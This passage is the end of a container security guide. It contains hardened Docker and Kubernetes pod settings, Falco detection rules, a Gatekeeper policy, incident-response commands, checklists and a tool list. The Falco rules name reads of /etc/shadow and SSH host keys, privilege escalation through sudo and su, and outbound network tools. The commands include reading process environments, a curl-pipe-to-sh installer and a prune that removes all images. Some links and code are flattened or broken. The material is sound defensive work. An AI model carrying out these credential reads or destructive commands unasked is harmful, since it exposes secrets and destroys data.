- /tmp:rw,noexec,nosuid,size=1G

cap_drop:

- ALL

cap_add:

- NET_BIND_SERVICE

security_opt:

- no-new-privileges:true

deploy:

resources:

limits:

memory: 512M

cpus: '0.5'

# Secure Pod Specification Template

apiVersion: v1

kind: Pod

metadata:

name: secure-pod

annotations:

[Link]/app: runtime/default

spec:

serviceAccountName: limited-sa

securityContext:

runAsNonRoot: true

runAsUser: 1000

runAsGroup: 1000

fsGroup: 1000

seccompProfile:

type: RuntimeDefault

containers:

- name: app

image: myapp:v1.2.3@sha256:abc123...

securityContext:

allowPrivilegeEscalation: false
readOnlyRootFilesystem: true

runAsNonRoot: true

runAsUser: 1000

capabilities:

drop: ["ALL"]

add: ["NET_BIND_SERVICE"]

resources:

requests:

memory: "64Mi"

cpu: "250m"

limits:

memory: "128Mi"

cpu: "500m"

livenessProbe:

httpGet:

path: /health

port: 8080

initialDelaySeconds: 30

periodSeconds: 10

readinessProbe:

httpGet:

path: /ready

port: 8080

initialDelaySeconds: 5

periodSeconds: 5

# Custom Falco rules

- rule: Container Privilege Escalation

desc: Detect privilege escalation in containers

condition: >

spawned_process and container and

([Link] in (su, sudo, doas) or

[Link] contains "sudo" or

[Link] contains "su -")

output: >

Privilege escalation in container

(user=%[Link] command=%[Link] container=%[Link])

priority: HIGH

- rule: Unexpected Network Connection

desc: Detect unexpected outbound connections


condition: >

outbound_connection and container and

not [Link] in (curl, wget, npm, pip, apt, yum) and

not [Link] in (internal_networks)

output: >

Unexpected network connection

(connection=%[Link] command=%[Link] container=%[Link])

priority: WARNING

- rule: Sensitive File Access

desc: Detect access to sensitive files

condition: >

open_read and container and

[Link] in (/etc/passwd, /etc/shadow, /etc/ssh/ssh_host_rsa_key)

output: >

Sensitive file accessed

(file=%[Link] command=%[Link] container=%[Link])

priority: CRITICAL

# Require security context

apiVersion: [Link]/v1beta1

kind: ConstraintTemplate

metadata:

name: k8srequiredsecuritycontext

spec:

crd:

spec:

names:

kind: K8sRequiredSecurityContext

validation:

openAPIV3Schema:

type: object

targets:

- target: [Link]

rego: |

package k8srequiredsecuritycontext

violation[{"msg": msg}] {

container := [Link][_]

not [Link] == true

msg := "Container must run as non-root"

violation[{"msg": msg}] {
container := [Link][_]

not [Link] == false

msg := "Container must not allow privilege escalation"

---

apiVersion: [Link]/v1beta1

kind: K8sRequiredSecurityContext

metadata:

name: must-have-security-context

spec:

match:

kinds:

- apiGroups: [""]

kinds: ["Pod"]

namespaces: ["production", "staging"]

# Emergency container analysis

docker inspect <container_id> # Get container details

docker logs <container_id> # Container logs

docker exec <container_id> ps aux # Running processes

docker cp <container_id>:/path/to/file . # Copy files for analysis

# Host-level investigation

ls -la /proc/<pid>/ # Process information

cat /proc/<pid>/environ # Environment variables

lsof -p <pid> # Open files and network connections

netstat -anp | grep <pid> # Network connections

# Kubernetes incident response

kubectl describe pod <pod_name> # Pod details and events

kubectl logs <pod_name> --previous # Previous container logs

kubectl get events --sort-by='.lastTimestamp' # Recent cluster events

kubectl exec <pod_name> -- ps aux # Process list in pod

# Immediate containment

docker stop <compromised_container> # Stop container immediately

docker network disconnect bridge <container> # Isolate network

kubectl delete pod <compromised_pod> # Delete compromised pod

kubectl scale deployment <deployment> --replicas=0 # Scale down deployment


# Evidence preservation

docker commit <container_id> evidence:$(date +%s) # Create forensic image

docker save evidence:$(date +%s) > [Link] # Export for analysis

kubectl get pod <pod_name> -o yaml > [Link] # Save pod config

# Recovery actions

docker system prune -a # Clean up compromised images

kubectl rollout restart deployment/<name> # Restart with clean images

kubectl apply -f [Link] # Apply security patches

Image Security
Base image from trusted registry
Vulnerability scan completed (< 10 HIGH/CRITICAL)
Image signed with cosign/notary
No hardcoded secrets in image
Minimal base image (distroless preferred)
Container Configuration
Non-root user specified
Read-only root filesystem
Minimal capabilities (drop ALL, add specific)
No privilege escalation allowed
Resource limits configured
Health checks implemented
Kubernetes Security
Service account with minimal permissions
Network policies defined
Pod security standards enforced
Secrets stored in external vault
Admission controllers configured

Behavioral Monitoring
Falco rules deployed
Process monitoring active
Network traffic analysis
File system change detection
Privilege escalation detection
Performance and Resource Monitoring
CPU/Memory usage tracking
Network I/O monitoring
Disk usage monitoring
Container restart tracking
Error rate monitoring

Tool Purpose Installation


Grype Vulnerability curl -sSfL [Link] \| sh
scanning
Trivy Security scanner brew install trivy or download binary

Falco Runtime security helm install falco falcosecurity/falco

Tetragon eBPF-based helm install tetragon cilium/tetragon


monitoring
OPA Policy enforcement kubectl apply -f [Link]
Gatekeeper 3.14/deploy/[Link]

Cosign Image signing go install [Link]/sigstore/cosign/cmd/cosign@latest


Tool Purpose Platform
Prisma Cloud Comprehensive security Multi-cloud
Aqua Security Full-stack protection Kubernetes-native
Sysdig Secure Runtime protection Cloud-native
AWS GuardDuty Threat detection AWS
Azure Defender Cloud security Azure
Google Cloud Security GCP security Google Cloud

NIST Container Security Guide: [Link]


CIS Docker Benchmark: [Link]
Kubernetes Security Best Practices: [Link]
OWASP Container Security: [Link]
Cloud Native Security Whitepaper: [Link]

As we reach the end of our comprehensive journey through the container security battlefield, it's important to remember that security is not a destination—it's a
continuous journey of improvement, vigilance, and adaptation.

The container landscape continues to evolve at breakneck speed. New attack vectors emerge as quickly as new defensive technologies. What remains constant is the
need for security professionals who understand both the attacker's mindset and the defender's arsenal.

Remember the key principles that will serve you well in any container security scenario:

1. Defense in Depth: Layer your security controls like armor plating


2. Assume Breach: Design your systems assuming compromise will occur
3. Least Privilege: Grant only the minimum necessary access
4. Continuous Monitoring: Maintain eternal vigilance over your container environments
5. Rapid Response: Prepare for swift action when incidents occur

The battle for container security is ongoing, but with the knowledge, tools, and strategies outlined in this guide, you're well-equipped to protect your digital kingdom. Stay
vigilant, stay informed, and remember—in the world of cybersecurity, the price of freedom is eternal vigilance.

"The best time to plant a tree was 20 years ago. The second-best time is now." - The same principle applies to container security. If you haven't started implementing
these practices, start today. Your future self will thank you when the attacks come—and they will come.

You might also like